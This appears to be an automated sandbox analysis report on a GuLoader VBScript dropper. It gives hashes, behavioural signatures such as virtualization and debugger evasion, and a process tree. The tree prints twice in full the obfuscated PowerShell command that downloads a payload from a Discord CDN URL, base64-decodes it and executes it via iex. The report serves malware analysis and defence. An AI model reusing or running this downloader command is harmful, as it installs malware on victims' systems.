Analysis
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max time kernel
142s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
06/08/2023, 15:51
Static task
static1
Behavioral task
behavioral1
Sample
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
Resource
win10v2004-20230703-en
General
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Target
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
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Size
10KB
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MD5
9127b986f6b8b55cc8faa723accd3658
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SHA1
2c00263ac7b91fc3a150e3bba231e73d3d2672fb
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SHA256
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7
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SHA512
838a0d995b3d14ab91147c6e4f963df34cddbe2ac344bdd98d3d5bdcea08d463725e878fc55395d0edb703d1b63b520fdce82b0fb2c6e949da4d9b594c85f4b6
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SSDEEP
192:EL2f6ltP1LsfgyTWEgF4nssbpPtNchpSKBZV7Ej9m+OSgGHTz:E6fUNwWMbNtNcnBva4QHTz
Malware Config
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Checks QEMU agent file 2 TTPs 1 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
description ioc Process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3444 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 3616 3444 WerFault.exe 91 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1300 powershell.exe 1300 powershell.exe 3444 powershell.exe 3444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1300 powershell.exe Token: SeDebugPrivilege 3444 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3560 wrote to memory of 1300 3560 WScript.exe 89 PID 3560 wrote to memory of 1300 3560 WScript.exe 89 PID 1300 wrote to memory of 3444 1300 powershell.exe 91 PID 1300 wrote to memory of 3444 1300 powershell.exe 91 PID 1300 wrote to memory of 3444 1300 powershell.exe 91
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 17604⤵
- Program crash
PID:3616
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3444 -ip 34441⤵PID:4272
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82